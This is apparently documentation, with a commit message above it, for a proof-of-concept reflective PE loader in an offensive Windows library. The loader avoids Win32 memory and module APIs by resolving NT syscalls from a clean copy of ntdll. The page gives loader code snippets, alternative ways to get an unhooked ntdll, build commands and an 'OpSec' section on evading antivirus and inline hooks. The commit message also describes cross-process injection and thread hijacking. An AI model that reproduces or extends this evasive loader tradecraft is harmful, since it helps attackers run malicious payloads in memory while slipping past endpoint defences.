- Implement complete cross-process injection engine via snd_inj_ctx_t - Track explicit remote_entry_point for safe thread hijacking and PE execution - Refactor standalone syscall resolvers into a unified pipeline (scan/sort) - Perfect status code system by purging generic fallbacks in favor of highly-specific, domain-aware error codes - Fix minor pointer validation and parsing bugs in the reflective loader
3.0 KiB
PoC: loader_nowinapi
Location: pocs/loader_nowinapi/
Evasive local reflective loading without Win32 memory/module APIs. Uses NT API resolution (snd_mem_nt, snd_mod_nt) after bootstrapping the syscall pipeline with a clean ntdll base.
What it demonstrates
- Syscall pipeline bootstrap (
snd_syscall_set_ntdll, cascading resolvers) - Same loader chain as
loader_winapiwith different injected API tables - Three commented alternatives for obtaining
ntdll(disk, PEB, KnownDlls) - DLL export FFI (
-e/-a) identical to the Win32 PoC
Command-line usage
Same flags as loader_winapi:
loader_nowinapi -f <payload_path> [-e <export_name>] [-a <arg>]...
Walkthrough
1. Bootstrap ntdll for syscall resolution
The PoC loads ntdll.dll from disk into a buffer and registers it as the syscall scan base:
snd_buffer_t ntdll_buf = {0};
status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
PVOID ntdll = ntdll_buf.data;
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
Commented alternatives in pocs/loader_nowinapi/main.c (swap in for different OpSec trade-offs):
// PEB walk — no disk read (correct API):
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
// KnownDlls — unhooked section mapping
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
Note
The commented PEB block in source currently calls
snd_peb_get_module_base(SND_HASH_NTDLL_DLL, …)— that is incorrect (first argument must be a wide module name, not a hash). Usesnd_peb_get_module_base_hashas shown above.
2. Inject NT primitives
ctx.mem_api = &snd_mem_nt; // NtAllocateVirtualMemory via PEB + EAT
ctx.mod_api = &snd_mod_nt; // PEB walk + manual export parsing
Note
This PoC uses
_ntbackends, not_sys. The syscall pipeline is bootstrapped so you can swapctx.mem_apito&snd_mem_syswithout other changes. See inject_pe.md for a full_sysprofile.
3. Load, prepare, execute
status = snd_disk_buffer_load(file_path, &file_buf);
ctx.raw_source = &file_buf;
status = snd_ldr_pe_prepare_image(&ctx);
status = snd_ldr_pe_execute_image(&ctx);
// Optional DLL export via snd_ldr_pe_get_proc_address + snd_ffi_execute
4. Cleanup
snd_ldr_pe_detach_image(&ctx);
snd_ldr_pe_free_mapped_image(&ctx);
snd_buffer_free(&file_buf);
Building
cmake -B build -DSND_BUILD_PAYLOADS=ON
cmake --build build --config Release
OpSec impact
Avoids VirtualAlloc, LoadLibraryA, and GetProcAddress. Memory and imports still execute through in-process ntdll stubs (inline hooks may fire). Disk read of ntdll.dll may be logged by AV.
See also
- Syscall pipeline
- loader_winapi.md — Win32 baseline
- inject_pe.md — full
_syscross-process profile